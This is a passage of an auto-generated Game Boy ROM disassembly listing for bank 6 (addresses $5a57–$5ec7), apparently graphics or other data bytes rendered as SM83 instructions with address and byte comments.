ld a, a ; $5a57: $7f
jr nz, @+$41 ; $5a58: $20 $3f
jr jr_006_5a7b ; $5a5a: $18 $1f
rlca ; $5a5c: $07
rlca ; $5a5d: $07
nop ; $5a5e: $00
nop ; $5a5f: $00
jr nz, @-$7b ; $5a60: $20 $83
inc e ; $5a62: $1c
pop bc ; $5a63: $c1
inc sp ; $5a64: $33
add c ; $5a65: $81
ld b, d ; $5a66: $42
ld c, $44 ; $5a67: $0e $44
inc e ; $5a69: $1c
jr jr_006_5a24 ; $5a6a: $18 $b8
ldh [$e0], a ; $5a6c: $e0 $e0
nop ; $5a6e: $00
nop ; $5a6f: $00
ld bc, $1f01 ; $5a70: $01 $01 $1f
rra ; $5a73: $1f
nop ; $5a74: $00
ccf ; $5a75: $3f
nop ; $5a76: $00
ld b, b ; $5a77: $40
ccf ; $5a78: $3f
cp a ; $5a79: $bf
nop ; $5a7a: $00
jr_006_5a7b:
rra ; $5a7b: $1f
inc b ; $5a7c: $04
rlca ; $5a7d: $07
ld bc, $0001 ; $5a7e: $01 $01 $00
nop ; $5a81: $00
ld [$e100], sp ; $5a82: $08 $00 $e1
pop hl ; $5a85: $e1
di ; $5a86: $f3
di ; $5a87: $f3
ccf ; $5a88: $3f
cp $06 ; $5a89: $fe $06
dec a ; $5a8b: $3d
add $c5 ; $5a8c: $c6 $c5
inc a ; $5a8e: $3c
ei ; $5a8f: $fb
ldh [$e0], a ; $5a90: $e0 $e0
ei ; $5a92: $fb
ld hl, sp-$10 ; $5a93: $f8 $f0
ld hl, sp-$3f ; $5a95: $f8 $c1
inc [hl] ; $5a97: $34
ld [$38c2], sp ; $5a98: $08 $c2 $38
add d ; $5a9b: $82
jr nz, jr_006_5a21 ; $5a9c: $20 $83
inc e ; $5a9e: $1c
pop bc ; $5a9f: $c1
inc b ; $5aa0: $04
ei ; $5aa1: $fb
nop ; $5aa2: $00
rst $38 ; $5aa3: $ff
add b ; $5aa4: $80
rst $38 ; $5aa5: $ff
ld b, b ; $5aa6: $40
ld a, a ; $5aa7: $7f
jr nz, @+$41 ; $5aa8: $20 $3f
jr jr_006_5acb ; $5aaa: $18 $1f
rlca ; $5aac: $07
rlca ; $5aad: $07
nop ; $5aae: $00
nop ; $5aaf: $00
ld [hl-], a ; $5ab0: $32
add b ; $5ab1: $80
ld b, b ; $5ab2: $40
dec c ; $5ab3: $0d
ld b, c ; $5ab4: $41
rra ; $5ab5: $1f
ld [bc], a ; $5ab6: $02
cp [hl] ; $5ab7: $be
inc b ; $5ab8: $04
db $fc ; $5ab9: $fc
ld a, [de] ; $5aba: $1a
ld hl, sp-$20 ; $5abb: $f8 $e0
ldh [rLCDC], a ; $5abd: $e0 $40
nop ; $5abf: $00
nop ; $5ac0: $00
ld bc, $0f00 ; $5ac1: $01 $00 $0f
nop ; $5ac4: $00
ccf ; $5ac5: $3f
rlca ; $5ac6: $07
ld a, a ; $5ac7: $7f
nop ; $5ac8: $00
rst $38 ; $5ac9: $ff
nop ; $5aca: $00
jr_006_5acb:
nop ; $5acb: $00
rlca ; $5acc: $07
rlca ; $5acd: $07
nop ; $5ace: $00
ld bc, $0700 ; $5acf: $01 $00 $07
nop ; $5ad2: $00
rra ; $5ad3: $1f
inc bc ; $5ad4: $03
rst $38 ; $5ad5: $ff
add hl, bc ; $5ad6: $09
ld sp, hl ; $5ad7: $f9
db $10 ; $5ad8: $10
ldh a, [$e4] ; $5ad9: $f0 $e4
ldh [$e0], a ; $5adb: $e0 $e0
ldh [$31], a ; $5add: $e0 $31
pop af ; $5adf: $f1
nop ; $5ae0: $00
ldh [rIF], a ; $5ae1: $e0 $0f
ldh a, [$e0] ; $5ae3: $f0 $e0
ld hl, sp-$0f ; $5ae5: $f8 $f1
db $fc ; $5ae7: $fc
ld hl, sp-$02 ; $5ae8: $f8 $fe
ld a, h ; $5aea: $7c
ld a, [hl] ; $5aeb: $7e
db $fc ; $5aec: $fc
rst $38 ; $5aed: $ff
ldh [$9f], a ; $5aee: $e0 $9f
dec bc ; $5af0: $0b
ld a, [hl-] ; $5af1: $3a
add $cd ; $5af2: $c6 $cd
ld [hl], $f5 ; $5af4: $36 $f5
inc c ; $5af6: $0c
ld a, e ; $5af7: $7b
inc b ; $5af8: $04
dec sp ; $5af9: $3b
nop ; $5afa: $00
rra ; $5afb: $1f
nop ; $5afc: $00
ld b, $00 ; $5afd: $06 $00
nop ; $5aff: $00
add b ; $5b00: $80
ld [hl], a ; $5b01: $77
ld [$39c3], sp ; $5b02: $08 $c3 $39
jr_006_5b05:
add e ; $5b05: $83
ld [hl-], a ; $5b06: $32
sub d ; $5b07: $92
inc e ; $5b08: $1c
add b ; $5b09: $80
ld [hl], d ; $5b0a: $72
nop ; $5b0b: $00
add b ; $5b0c: $80
nop ; $5b0d: $00
add b ; $5b0e: $80
nop ; $5b0f: $00
nop ; $5b10: $00
rlca ; $5b11: $07
rlca ; $5b12: $07
rra ; $5b13: $1f
rra ; $5b14: $1f
ld a, a ; $5b15: $7f
db $10 ; $5b16: $10
inc bc ; $5b17: $03
ld [hl+], a ; $5b18: $22
nop ; $5b19: $00
ld [bc], a ; $5b1a: $02
nop ; $5b1b: $00
nop ; $5b1c: $00
nop ; $5b1d: $00
nop ; $5b1e: $00
nop ; $5b1f: $00
nop ; $5b20: $00
rlca ; $5b21: $07
ld bc, $f0f9 ; $5b22: $01 $f9 $f0
ldh a, [$e4] ; $5b25: $f0 $e4
ldh [$60], a ; $5b27: $e0 $60
ldh [rNR11], a ; $5b29: $e0 $11
ld [hl], c ; $5b2b: $71
ld c, e ; $5b2c: $4b
ld a, [de] ; $5b2d: $1a
ld b, $0d ; $5b2e: $06 $0d
nop ; $5b30: $00
nop ; $5b31: $00
inc bc ; $5b32: $03
nop ; $5b33: $00
nop ; $5b34: $00
nop ; $5b35: $00
nop ; $5b36: $00
nop ; $5b37: $00
ld [bc], a ; $5b38: $02
nop ; $5b39: $00
nop ; $5b3a: $00
ld bc, $0700 ; $5b3b: $01 $00 $07
rlca ; $5b3e: $07
rlca ; $5b3f: $07
and $05 ; $5b40: $e6 $05
adc h ; $5b42: $8c
dec bc ; $5b43: $0b
ld b, h ; $5b44: $44
dec bc ; $5b45: $0b
nop ; $5b46: $00
ccf ; $5b47: $3f
nop ; $5b48: $00
ld a, a ; $5b49: $7f
ld [$77ff], sp ; $5b4a: $08 $ff $77
rst $30 ; $5b4d: $f7
add b ; $5b4e: $80
add b ; $5b4f: $80
inc c ; $5b50: $0c
nop ; $5b51: $00
inc a ; $5b52: $3c
inc b ; $5b53: $04
ld a, [hl] ; $5b54: $7e
ld c, $ff ; $5b55: $0e $ff
ld bc, $01ff ; $5b57: $01 $ff $01
ld a, [hl] ; $5b5a: $7e
ld c, $3c ; $5b5b: $0e $3c
inc b ; $5b5d: $04
inc c ; $5b5e: $0c
nop ; $5b5f: $00
nop ; $5b60: $00
nop ; $5b61: $00
nop ; $5b62: $00
rlca ; $5b63: $07
inc bc ; $5b64: $03
inc e ; $5b65: $1c
nop ; $5b66: $00
ld a, a ; $5b67: $7f
nop ; $5b68: $00
nop ; $5b69: $00
nop ; $5b6a: $00
nop ; $5b6b: $00
nop ; $5b6c: $00
nop ; $5b6d: $00
nop ; $5b6e: $00
nop ; $5b6f: $00
inc b ; $5b70: $04
nop ; $5b71: $00
ld b, $c0 ; $5b72: $06 $c0
jr nz, jr_006_5b05 ; $5b74: $20 $8f
ld bc, $04d2 ; $5b76: $01 $d2 $04
nop ; $5b79: $00
ld bc, $0100 ; $5b7a: $01 $00 $01
ld c, $04 ; $5b7d: $0e $04
nop ; $5b7f: $00
nop ; $5b80: $00
ld c, $00 ; $5b81: $0e $00
inc c ; $5b83: $0c
nop ; $5b84: $00
ld [$0800], sp ; $5b85: $08 $00 $08
nop ; $5b88: $00
nop ; $5b89: $00
nop ; $5b8a: $00
nop ; $5b8b: $00
nop ; $5b8c: $00
nop ; $5b8d: $00
nop ; $5b8e: $00
nop ; $5b8f: $00
nop ; $5b90: $00
nop ; $5b91: $00
nop ; $5b92: $00
nop ; $5b93: $00
nop ; $5b94: $00
nop ; $5b95: $00
nop ; $5b96: $00
inc bc ; $5b97: $03
ld bc, $0202 ; $5b98: $01 $02 $02
dec b ; $5b9b: $05
nop ; $5b9c: $00
rlca ; $5b9d: $07
nop ; $5b9e: $00
rrca ; $5b9f: $0f
inc b ; $5ba0: $04
nop ; $5ba1: $00
ld b, $00 ; $5ba2: $06 $00
nop ; $5ba4: $00
adc a ; $5ba5: $8f
ld hl, $0492 ; $5ba6: $21 $92 $04
ret nc ; $5ba9: $d0
ld bc, $01c8 ; $5baa: $01 $c8 $01
adc [hl] ; $5bad: $8e
inc b ; $5bae: $04
nop ; $5baf: $00
ld b, b ; $5bb0: $40
or b ; $5bb1: $b0
nop ; $5bb2: $00
ldh a, [rP1] ; $5bb3: $f0 $00
ld h, b ; $5bb5: $60
nop ; $5bb6: $00
ld h, b ; $5bb7: $60
nop ; $5bb8: $00
jr nz, jr_006_5bbb ; $5bb9: $20 $00
jr_006_5bbb:
jr nz, jr_006_5bbd ; $5bbb: $20 $00
jr_006_5bbd:
nop ; $5bbd: $00
nop ; $5bbe: $00
nop ; $5bbf: $00
inc b ; $5bc0: $04
nop ; $5bc1: $00
ld b, $00 ; $5bc2: $06 $00
nop ; $5bc4: $00
rrca ; $5bc5: $0f
ld hl, $0492 ; $5bc6: $21 $92 $04
ret nc ; $5bc9: $d0
ld bc, $41c8 ; $5bca: $01 $c8 $41
xor [hl] ; $5bcd: $ae
add h ; $5bce: $84
ld [hl], b ; $5bcf: $70
nop ; $5bd0: $00
jr jr_006_5bd3 ; $5bd1: $18 $00
jr_006_5bd3:
jr jr_006_5bd5 ; $5bd3: $18 $00
jr_006_5bd5:
inc a ; $5bd5: $3c
db $10 ; $5bd6: $10
inc l ; $5bd7: $2c
nop ; $5bd8: $00
inc a ; $5bd9: $3c
nop ; $5bda: $00
jr jr_006_5bdd ; $5bdb: $18 $00
jr_006_5bdd:
nop ; $5bdd: $00
nop ; $5bde: $00
nop ; $5bdf: $00
nop ; $5be0: $00
jr @+$12 ; $5be1: $18 $10
inc l ; $5be3: $2c
jr nz, jr_006_5c02 ; $5be4: $20 $1c
nop ; $5be6: $00
ld a, [hl] ; $5be7: $7e
nop ; $5be8: $00
ld a, [hl] ; $5be9: $7e
nop ; $5bea: $00
ld a, [hl] ; $5beb: $7e
nop ; $5bec: $00
inc a ; $5bed: $3c
nop ; $5bee: $00
nop ; $5bef: $00
nop ; $5bf0: $00
inc a ; $5bf1: $3c
jr nc, jr_006_5c42 ; $5bf2: $30 $4e
ld b, b ; $5bf4: $40
cp a ; $5bf5: $bf
nop ; $5bf6: $00
rst $38 ; $5bf7: $ff
nop ; $5bf8: $00
rst $38 ; $5bf9: $ff
nop ; $5bfa: $00
rst $38 ; $5bfb: $ff
nop ; $5bfc: $00
ld a, [hl] ; $5bfd: $7e
nop ; $5bfe: $00
inc a ; $5bff: $3c
nop ; $5c00: $00
nop ; $5c01: $00
jr_006_5c02:
nop ; $5c02: $00
nop ; $5c03: $00
nop ; $5c04: $00
nop ; $5c05: $00
nop ; $5c06: $00
nop ; $5c07: $00
nop ; $5c08: $00
inc e ; $5c09: $1c
db $10 ; $5c0a: $10
cpl ; $5c0b: $2f
nop ; $5c0c: $00
ccf ; $5c0d: $3f
nop ; $5c0e: $00
rra ; $5c0f: $1f
nop ; $5c10: $00
db $10 ; $5c11: $10
db $10 ; $5c12: $10
jr z, jr_006_5c35 ; $5c13: $28 $20
jr_006_5c15:
ld e, b ; $5c15: $58
nop ; $5c16: $00
ld a, b ; $5c17: $78
nop ; $5c18: $00
ld [hl-], a ; $5c19: $32
ld [bc], a ; $5c1a: $02
dec d ; $5c1b: $15
nop ; $5c1c: $00
ld [hl+], a ; $5c1d: $22
nop ; $5c1e: $00
nop ; $5c1f: $00
nop ; $5c20: $00
nop ; $5c21: $00
ld [$0024], sp ; $5c22: $08 $24 $00
ld a, h ; $5c25: $7c
jr nz, jr_006_5c80 ; $5c26: $20 $58
nop ; $5c28: $00
inc a ; $5c29: $3c
nop ; $5c2a: $00
jr c, jr_006_5c2d ; $5c2b: $38 $00
jr_006_5c2d:
ld [bc], a ; $5c2d: $02
nop ; $5c2e: $00
nop ; $5c2f: $00
nop ; $5c30: $00
nop ; $5c31: $00
nop ; $5c32: $00
jr_006_5c33:
jr nz, jr_006_5c35 ; $5c33: $20 $00
jr_006_5c35:
ld b, $02 ; $5c35: $06 $02
ld [hl], l ; $5c37: $75
jr nz, jr_006_5c15 ; $5c38: $20 $db
db $10 ; $5c3a: $10
add sp, $00 ; $5c3b: $e8 $00
ld [hl-], a ; $5c3d: $32
nop ; $5c3e: $00
nop ; $5c3f: $00
nop ; $5c40: $00
nop ; $5c41: $00
jr_006_5c42:
nop ; $5c42: $00
nop ; $5c43: $00
nop ; $5c44: $00
inc bc ; $5c45: $03
nop ; $5c46: $00
inc c ; $5c47: $0c
ld [de], a ; $5c48: $12
jr jr_006_5c5b ; $5c49: $18 $10
jr c, jr_006_5c4d ; $5c4b: $38 $00
jr_006_5c4d:
ccf ; $5c4d: $3f
nop ; $5c4e: $00
ld b, b ; $5c4f: $40
inc h ; $5c50: $24
nop ; $5c51: $00
ld b, b ; $5c52: $40
ld a, [hl] ; $5c53: $7e
ld h, $f9 ; $5c54: $26 $f9
ld sp, $107e ; $5c56: $31 $7e $10
ld a, a ; $5c59: $7f
nop ; $5c5a: $00
jr_006_5c5b:
rst $38 ; $5c5b: $ff
nop ; $5c5c: $00
ret nz ; $5c5d: $c0
ccf ; $5c5e: $3f
ccf ; $5c5f: $3f
nop ; $5c60: $00
nop ; $5c61: $00
add b ; $5c62: $80
nop ; $5c63: $00
nop ; $5c64: $00
ret nz ; $5c65: $c0
sub b ; $5c66: $90
ld h, b ; $5c67: $60
ld b, b ; $5c68: $40
or b ; $5c69: $b0
nop ; $5c6a: $00
ld hl, sp+$00 ; $5c6b: $f8 $00
jr c, jr_006_5c33 ; $5c6d: $38 $c4
call nz, Call_000_3f00 ; $5c6f: $c4 $00 $3f
rra ; $5c72: $1f
rra ; $5c73: $1f
rrca ; $5c74: $0f
rrca ; $5c75: $0f
inc bc ; $5c76: $03
inc bc ; $5c77: $03
nop ; $5c78: $00
nop ; $5c79: $00
nop ; $5c7a: $00
nop ; $5c7b: $00
nop ; $5c7c: $00
nop ; $5c7d: $00
nop ; $5c7e: $00
nop ; $5c7f: $00
jr_006_5c80:
ld sp, hl ; $5c80: $f9
cp $f8 ; $5c81: $fe $f8
ei ; $5c83: $fb
db $fc ; $5c84: $fc
db $fc ; $5c85: $fc
pop af ; $5c86: $f1
ldh a, [rTMA] ; $5c87: $f0 $06
ld bc, $0708 ; $5c89: $01 $08 $07
jr nz, @+$21 ; $5c8c: $20 $1f
ldh [rNR11], a ; $5c8e: $e0 $11
inc a ; $5c90: $3c
inc a ; $5c91: $3c
ret c ; $5c92: $d8
jr jr_006_5cb5 ; $5c93: $18 $20
ret nz ; $5c95: $c0
nop ; $5c96: $00
ldh [rP1], a ; $5c97: $e0 $00
add b ; $5c99: $80
nop ; $5c9a: $00
nop ; $5c9b: $00
add b ; $5c9c: $80
nop ; $5c9d: $00
ret nz ; $5c9e: $c0
nop ; $5c9f: $00
ld sp, hl ; $5ca0: $f9
cp $f8 ; $5ca1: $fe $f8
ei ; $5ca3: $fb
db $fc ; $5ca4: $fc
db $fd ; $5ca5: $fd
pop af ; $5ca6: $f1
pop af ; $5ca7: $f1
ld bc, $0001 ; $5ca8: $01 $01 $00
jr_006_5cab:
ld bc, $0100 ; $5cab: $01 $00 $01
ld bc, $3c00 ; $5cae: $01 $00 $3c
inc a ; $5cb1: $3c
sbc b ; $5cb2: $98
jr jr_006_5cf5 ; $5cb3: $18 $40
jr_006_5cb5:
add b ; $5cb5: $80
ld b, b ; $5cb6: $40
sub b ; $5cb7: $90
nop ; $5cb8: $00
ret nc ; $5cb9: $d0
nop ; $5cba: $00
and b ; $5cbb: $a0
nop ; $5cbc: $00
add b ; $5cbd: $80
ld h, b ; $5cbe: $60
add b ; $5cbf: $80
inc h ; $5cc0: $24
jr jr_006_5ce3 ; $5cc1: $18 $20
db $10 ; $5cc3: $10
jr nz, jr_006_5cd6 ; $5cc4: $20 $10
jr nz, jr_006_5cdc ; $5cc6: $20 $14
nop ; $5cc8: $00
inc d ; $5cc9: $14
db $10 ; $5cca: $10
jr_006_5ccb:
ld a, [bc] ; $5ccb: $0a
jr jr_006_5cce ; $5ccc: $18 $00
jr_006_5cce:
ld [$0000], sp ; $5cce: $08 $00 $00
nop ; $5cd1: $00
ld a, $00 ; $5cd2: $3e $00
ld a, a ; $5cd4: $7f
nop ; $5cd5: $00
jr_006_5cd6:
ld a, a ; $5cd6: $7f
nop ; $5cd7: $00
ld a, a ; $5cd8: $7f
nop ; $5cd9: $00
ld a, a ; $5cda: $7f
nop ; $5cdb: $00
jr_006_5cdc:
ccf ; $5cdc: $3f
ld a, [de] ; $5cdd: $1a
dec b ; $5cde: $05
rra ; $5cdf: $1f
ld a, $00 ; $5ce0: $3e $00
ld a, b ; $5ce2: $78
jr_006_5ce3:
nop ; $5ce3: $00
ldh a, [rP1] ; $5ce4: $f0 $00
add b ; $5ce6: $80
nop ; $5ce7: $00
nop ; $5ce8: $00
nop ; $5ce9: $00
nop ; $5cea: $00
nop ; $5ceb: $00
ld bc, $0000 ; $5cec: $01 $00 $00
inc bc ; $5cef: $03
nop ; $5cf0: $00
ld a, [hl] ; $5cf1: $7e
nop ; $5cf2: $00
inc a ; $5cf3: $3c
nop ; $5cf4: $00
jr_006_5cf5:
inc a ; $5cf5: $3c
nop ; $5cf6: $00
ld a, [hl] ; $5cf7: $7e
nop ; $5cf8: $00
ld a, [hl] ; $5cf9: $7e
rst $20 ; $5cfa: $e7
rst $38 ; $5cfb: $ff
rst $38 ; $5cfc: $ff
jr jr_006_5d17 ; $5cfd: $18 $18
rst $20 ; $5cff: $e7
ld bc, $0300 ; $5d00: $01 $00 $03
nop ; $5d03: $00
inc bc ; $5d04: $03
nop ; $5d05: $00
rlca ; $5d06: $07
nop ; $5d07: $00
rlca ; $5d08: $07
nop ; $5d09: $00
ld c, $00 ; $5d0a: $0e $00
add hl, de ; $5d0c: $19
nop ; $5d0d: $00
nop ; $5d0e: $00
inc bc ; $5d0f: $03
ld h, b ; $5d10: $60
inc de ; $5d11: $13
nop ; $5d12: $00
ld hl, $2004 ; $5d13: $21 $04 $20
nop ; $5d16: $00
jr_006_5d17:
inc de ; $5d17: $13
nop ; $5d18: $00
ld bc, $0002 ; $5d19: $01 $02 $00
jr_006_5d1c:
ld [bc], a ; $5d1c: $02
nop ; $5d1d: $00
nop ; $5d1e: $00
nop ; $5d1f: $00
ld hl, sp+$00 ; $5d20: $f8 $00
inc b ; $5d22: $04
add hl, sp ; $5d23: $39
nop ; $5d24: $00
ld h, a ; $5d25: $67
nop ; $5d26: $00
ld b, b ; $5d27: $40
ld b, c ; $5d28: $41
jr nz, jr_006_5cab ; $5d29: $20 $80
inc e ; $5d2b: $1c
ld b, b ; $5d2c: $40
inc bc ; $5d2d: $03
nop ; $5d2e: $00
nop ; $5d2f: $00
rra ; $5d30: $1f
nop ; $5d31: $00
jr nz, @-$62 ; $5d32: $20 $9c
nop ; $5d34: $00
and $00 ; $5d35: $e6 $00
ld [bc], a ; $5d37: $02
add d ; $5d38: $82
inc b ; $5d39: $04
ld bc, $0238 ; $5d3a: $01 $38 $02
ret nz ; $5d3d: $c0
nop ; $5d3e: $00
nop ; $5d3f: $00
nop ; $5d40: $00
nop ; $5d41: $00
ld hl, sp+$01 ; $5d42: $f8 $01
inc b ; $5d44: $04
ld h, e ; $5d45: $63
nop ; $5d46: $00
ld b, b ; $5d47: $40
ld b, c ; $5d48: $41
jr nz, jr_006_5ccb ; $5d49: $20 $80
inc e ; $5d4b: $1c
ld b, b ; $5d4c: $40
inc bc ; $5d4d: $03
nop ; $5d4e: $00
nop ; $5d4f: $00
nop ; $5d50: $00
nop ; $5d51: $00
rra ; $5d52: $1f
add b ; $5d53: $80
jr nz, jr_006_5d1c ; $5d54: $20 $c6
nop ; $5d56: $00
ld [bc], a ; $5d57: $02
add d ; $5d58: $82
inc b ; $5d59: $04
ld bc, $0238 ; $5d5a: $01 $38 $02
ret nz ; $5d5d: $c0
nop ; $5d5e: $00
nop ; $5d5f: $00
nop ; $5d60: $00
nop ; $5d61: $00
ld [$0600], sp ; $5d62: $08 $00 $06
nop ; $5d65: $00
nop ; $5d66: $00
ld b, $00 ; $5d67: $06 $00
ld bc, $0140 ; $5d69: $01 $40 $01
ld a, [hl-] ; $5d6c: $3a
inc bc ; $5d6d: $03
inc bc ; $5d6e: $03
rra ; $5d6f: $1f
ld [hl+], a ; $5d70: $22
nop ; $5d71: $00
ld [hl+], a ; $5d72: $22
nop ; $5d73: $00
nop ; $5d74: $00
ld a, a ; $5d75: $7f
ld d, l ; $5d76: $55
rst $38 ; $5d77: $ff
rst $38 ; $5d78: $ff
add b ; $5d79: $80
add b ; $5d7a: $80
nop ; $5d7b: $00
ld [$8000], sp ; $5d7c: $08 $00 $80
nop ; $5d7f: $00
nop ; $5d80: $00
nop ; $5d81: $00
ld [$3000], sp ; $5d82: $08 $00 $30
nop ; $5d85: $00
nop ; $5d86: $00
or b ; $5d87: $b0
add b ; $5d88: $80
ret nz ; $5d89: $c0
add c ; $5d8a: $81
ld b, b ; $5d8b: $40
ld l, $60 ; $5d8c: $2e $60
ldh [$7c], a ; $5d8e: $e0 $7c
inc bc ; $5d90: $03
ld b, $05 ; $5d91: $06 $05
rlca ; $5d93: $07
nop ; $5d94: $00
inc bc ; $5d95: $03
ld bc, $0400 ; $5d96: $01 $00 $04
ld [$100e], sp ; $5d99: $08 $0e $10
inc d ; $5d9c: $14
ld a, [bc] ; $5d9d: $0a
jr nz, @+$06 ; $5d9e: $20 $04
add b ; $5da0: $80
db $e3 ; $5da1: $e3
ld [$c9ff], sp ; $5da2: $08 $ff $c9
ld a, $22 ; $5da5: $3e $22
inc e ; $5da7: $1c
inc d ; $5da8: $14
ld c, c ; $5da9: $49
ld a, [hl+] ; $5daa: $2a
ld [hl+], a ; $5dab: $22
inc d ; $5dac: $14
inc d ; $5dad: $14
nop ; $5dae: $00
nop ; $5daf: $00
ldh [$b0], a ; $5db0: $e0 $b0
ld d, b ; $5db2: $50
ldh a, [$88] ; $5db3: $f0 $88
ld h, h ; $5db5: $64
ld e, h ; $5db6: $5c
ld [bc], a ; $5db7: $02
ld [$0014], sp ; $5db8: $08 $14 $00
ld [$0004], sp ; $5dbb: $08 $04 $00
ld [bc], a ; $5dbe: $02
nop ; $5dbf: $00
nop ; $5dc0: $00
dec b ; $5dc1: $05
dec b ; $5dc2: $05
rlca ; $5dc3: $07
ld [$1d13], sp ; $5dc4: $08 $13 $1d
jr nz, jr_006_5dd1 ; $5dc7: $20 $08
inc d ; $5dc9: $14
nop ; $5dca: $00
ld [$0010], sp ; $5dcb: $08 $10 $00
jr nz, jr_006_5dd0 ; $5dce: $20 $00
jr_006_5dd0:
add b ; $5dd0: $80
jr_006_5dd1:
ret nc ; $5dd1: $d0
ld d, b ; $5dd2: $50
ldh a, [$80] ; $5dd3: $f0 $80
ld h, b ; $5dd5: $60
ld b, b ; $5dd6: $40
nop ; $5dd7: $00
db $10 ; $5dd8: $10
ld [$0438], sp ; $5dd9: $08 $38 $04
inc d ; $5ddc: $14
jr z, jr_006_5de1 ; $5ddd: $28 $02
stop ; $5ddf: $10 $00
jr_006_5de1:
nop ; $5de1: $00
ld bc, $0200 ; $5de2: $01 $00 $02
nop ; $5de5: $00
jr nc, jr_006_5df0 ; $5de6: $30 $08
jr jr_006_5dfe ; $5de8: $18 $14
ld a, b ; $5dea: $78
dec b ; $5deb: $05
add hl, de ; $5dec: $19
dec d ; $5ded: $15
inc e ; $5dee: $1c
ld [hl], d ; $5def: $72
jr_006_5df0:
nop ; $5df0: $00
nop ; $5df1: $00
ldh [rP1], a ; $5df2: $e0 $00
jr_006_5df4:
jr jr_006_5df6 ; $5df4: $18 $00
jr_006_5df6:
add b ; $5df6: $80
inc c ; $5df7: $0c
ld e, $1d ; $5df8: $1e $1d
inc c ; $5dfa: $0c
dec sp ; $5dfb: $3b
jr c, jr_006_5df4 ; $5dfc: $38 $f6
jr_006_5dfe:
ldh a, [$c9] ; $5dfe: $f0 $c9
rra ; $5e00: $1f
nop ; $5e01: $00
rst $38 ; $5e02: $ff
ld bc, $111f ; $5e03: $01 $1f $11
rrca ; $5e06: $0f
ld a, b ; $5e07: $78
rrca ; $5e08: $0f
ld [$131d], sp ; $5e09: $08 $1d $13
ld a, d ; $5e0c: $7a
rlca ; $5e0d: $07
nop ; $5e0e: $00
nop ; $5e0f: $00
call nz, $8ab7 ; $5e10: $c4 $b7 $8a
ld h, e ; $5e13: $63
inc d ; $5e14: $14
ret c ; $5e15: $d8
dec bc ; $5e16: $0b
inc l ; $5e17: $2c
call nz, $e277 ; $5e18: $c4 $77 $e2
ld a, [hl-] ; $5e1b: $3a
ld hl, sp-$48 ; $5e1c: $f8 $b8
ld h, b ; $5e1e: $60
jr nz, jr_006_5e21 ; $5e1f: $20 $00
jr_006_5e21:
nop ; $5e21: $00
nop ; $5e22: $00
ld bc, $0300 ; $5e23: $01 $00 $03
ld [hl-], a ; $5e26: $32
add hl, bc ; $5e27: $09
add hl, de ; $5e28: $19
inc d ; $5e29: $14
ld a, b ; $5e2a: $78
inc b ; $5e2b: $04
add hl, de ; $5e2c: $19
dec d ; $5e2d: $15
inc e ; $5e2e: $1c
ld [hl], d ; $5e2f: $72
nop ; $5e30: $00
nop ; $5e31: $00
nop ; $5e32: $00
ldh [rP1], a ; $5e33: $e0 $00
ld hl, sp+$18 ; $5e35: $f8 $18
db $e4 ; $5e37: $e4
xor $0d ; $5e38: $ee $0d
inc c ; $5e3a: $0c
dec de ; $5e3b: $1b
jr c, @-$08 ; $5e3c: $38 $f6
or $cf ; $5e3e: $f6 $cf
ld [$0003], sp ; $5e40: $08 $03 $00
inc b ; $5e43: $04
ld [de], a ; $5e44: $12
ld [$1860], sp ; $5e45: $08 $60 $18
add b ; $5e48: $80
ld a, h ; $5e49: $7c
ret nz ; $5e4a: $c0
ccf ; $5e4b: $3f
ld [hl], b ; $5e4c: $70
rrca ; $5e4d: $0f
rrca ; $5e4e: $0f
nop ; $5e4f: $00
add c ; $5e50: $81
add c ; $5e51: $81
ld a, [hl] ; $5e52: $7e
jp Jump_006_7e24 ; $5e53: $c3 $24 $7e
inc h ; $5e56: $24
ld a, [hl] ; $5e57: $7e
nop ; $5e58: $00
rst $38 ; $5e59: $ff
nop ; $5e5a: $00
rst $38 ; $5e5b: $ff
nop ; $5e5c: $00
rst $38 ; $5e5d: $ff
rst $38 ; $5e5e: $ff
nop ; $5e5f: $00
ld b, d ; $5e60: $42
rlca ; $5e61: $07
db $10 ; $5e62: $10
inc bc ; $5e63: $03
ld b, b ; $5e64: $40
inc bc ; $5e65: $03
add b ; $5e66: $80
ld h, a ; $5e67: $67
add c ; $5e68: $81
ld a, [hl] ; $5e69: $7e
add e ; $5e6a: $83
ld a, h ; $5e6b: $7c
adc h ; $5e6c: $8c
ld [hl], b ; $5e6d: $70
ld [hl], b ; $5e6e: $70
nop ; $5e6f: $00
nop ; $5e70: $00
nop ; $5e71: $00
nop ; $5e72: $00
nop ; $5e73: $00
nop ; $5e74: $00
jr_006_5e75:
nop ; $5e75: $00
inc bc ; $5e76: $03
jr_006_5e77:
nop ; $5e77: $00
inc b ; $5e78: $04
inc bc ; $5e79: $03
ld [$1807], sp ; $5e7a: $08 $07 $18
ccf ; $5e7d: $3f
inc b ; $5e7e: $04
rra ; $5e7f: $1f
nop ; $5e80: $00
ld bc, $000c ; $5e81: $01 $0c $00
db $10 ; $5e84: $10
inc c ; $5e85: $0c
db $10 ; $5e86: $10
ld c, $10 ; $5e87: $0e $10
rrca ; $5e89: $0f
inc c ; $5e8a: $0c
inc bc ; $5e8b: $03
inc bc ; $5e8c: $03
nop ; $5e8d: $00
nop ; $5e8e: $00
nop ; $5e8f: $00
ld a, [bc] ; $5e90: $0a
rst $38 ; $5e91: $ff
add hl, bc ; $5e92: $09
ccf ; $5e93: $3f
adc b ; $5e94: $88
rra ; $5e95: $1f
nop ; $5e96: $00
rra ; $5e97: $1f
nop ; $5e98: $00
ccf ; $5e99: $3f
nop ; $5e9a: $00
rst $38 ; $5e9b: $ff
inc bc ; $5e9c: $03
db $fc ; $5e9d: $fc
db $fc ; $5e9e: $fc
nop ; $5e9f: $00
ld [bc], a ; $5ea0: $02
sbc h ; $5ea1: $9c
ld [bc], a ; $5ea2: $02
db $fc ; $5ea3: $fc
add h ; $5ea4: $84
ld hl, sp+$08 ; $5ea5: $f8 $08
ldh a, [rNR10] ; $5ea7: $f0 $10
ldh [$60], a ; $5ea9: $e0 $60
add b ; $5eab: $80
add b ; $5eac: $80
nop ; $5ead: $00
nop ; $5eae: $00
nop ; $5eaf: $00
nop ; $5eb0: $00
nop ; $5eb1: $00
nop ; $5eb2: $00
nop ; $5eb3: $00
nop ; $5eb4: $00
nop ; $5eb5: $00
nop ; $5eb6: $00
nop ; $5eb7: $00
nop ; $5eb8: $00
ld bc, $0101 ; $5eb9: $01 $01 $01
ld [bc], a ; $5ebc: $02
inc bc ; $5ebd: $03
ld a, $f3 ; $5ebe: $3e $f3
nop ; $5ec0: $00
nop ; $5ec1: $00
nop ; $5ec2: $00
nop ; $5ec3: $00
nop ; $5ec4: $00
nop ; $5ec5: $00
nop ; $5ec6: $00
jr_006_5ec7:
ldh [$86], a ; $5ec7: $e0 $86
